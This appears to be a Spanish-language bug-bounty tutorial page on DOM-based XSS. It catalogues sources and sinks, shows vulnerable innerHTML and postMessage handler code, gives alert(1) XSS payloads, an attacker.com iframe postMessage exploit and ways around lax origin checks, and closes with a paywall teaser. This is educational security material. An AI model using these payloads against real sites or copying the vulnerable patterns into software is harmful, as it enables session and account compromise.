Respuesta rápida
DOM XSS es client-side: el payload nunca toca el server. El flujo es source → sink con o sin gadget intermedio. Sources comunes: location.hash, postMessage, document.referrer, window.name, localStorage. Sinks ejecutables: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). Cuando no hay sink directo, los gadgets (toString coercion, jQuery addBack, lodash _.set) convierten un sink "limpio" en ejecución arbitraria.
Sources — de dónde viene el input controlado
Cualquier dato que el atacante pueda manipular sin requerir backend.
| Source | Manipulación | Notas |
|---|---|---|
location.hash | URL fragment #payload | No se envía al server, ideal para no dejar logs |
location.search | ?param=payload | Reflejado server-side suele dar RXSS clásico, client-side da DOM XSS |
location.pathname | URL path segments | Útil cuando hay routers client-side (React Router) |
document.referrer | Header Referer del request previo | Atacante controla via página propia con link |
window.name | Persiste cross-origin via target.name=... antes de navegar | Source clásico para CSP bypass |
postMessage | iframe.contentWindow.postMessage(...) | Most exploited DOM XSS vector en 2026 |
localStorage / sessionStorage | Set desde otro XSS o subdomain | Persistente |
IndexedDB | Mismo origen | Idem |
WebSocket message | Si la app abre WS y atacante puede inyectar mensajes (MITM, server bug) | Niche |
BroadcastChannel | Mensajes entre tabs same-origin | Niche |
document.cookie | Set desde subdomain o cookie tossing | Útil cuando hay parsing client-side |
Sinks — dónde se ejecuta JavaScript
Sinks "duros" (ejecutan JS directo si meten un payload):
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0); // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput); // jQuery
$(userInput); // jQuery con HTML string
range.createContextualFragment(userInput);
Sinks "blandos" (necesitan que el payload tenga forma específica):
location.href = userInput; // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput; // <iframe src=javascript:...>
element.href = userInput; // <a href=javascript:...>
element.action = userInput; // <form action=javascript:...>
element.onclick = userInput; // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput); // si reflejado luego con innerHTML
Patrón source → sink trivial
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
https://target.com/page#<img src=x onerror=alert(1)>
Detección automática: DOM Invader (Burp), DOMSnitch (Chrome extension), o el hook manual:
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
set(v) {
if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
}
origInnerHTML.set.call(this, v);
}
});
postMessage handlers — el vector #1 de 2026
El listener window.addEventListener('message', ...) recibe datos cross-origin. Si no valida event.origin, cualquier dominio externo (iframe abierto en attacker.com con target.com framed) puede enviar payloads.
// Vulnerable
window.addEventListener('message', (e) => {
document.getElementById('ads').innerHTML = e.data;
});
Exploit:
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>
Variaciones más sofisticadas
JSON message + property dispatch
window.addEventListener('message', (e) => {
const data = JSON.parse(e.data);
if (data.type === 'render') {
document.getElementById(data.target).innerHTML = data.html;
}
});
Payload:
target.contentWindow.postMessage(
JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
'*'
);
Origin check con .includes o regex laxo
if (e.origin.includes('target.com')) { ... } // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... } // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... } // eviltarget.com pasa
Cualquier validación que no use e.origin === 'https://target.com' es bypasseable.
Sigue leyendo el chain completo
La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Dom Xss Gadgets Postmessage
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
DOM XSS — gadgets, postMessage handlers y CVE-2025-59840
DOM XSS no es solo innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers sin origin check, hash-based routing rotos.
Client-side admin bypass — boolean manipulation + BAC en SPA moderna
Report real Quora: SPA con isAdmin boolean en localStorage que controla UI + backend que no valida server-side. Cómo encadenar boolean flip con BAC para admin takeover.
Análisis JavaScript client-side — endpoints, secrets y source maps
Extracción de endpoints ocultos de JS bundles, detección de secrets, análisis de source maps y dynamic instrumentation con Frida para auditar lógica client-side.
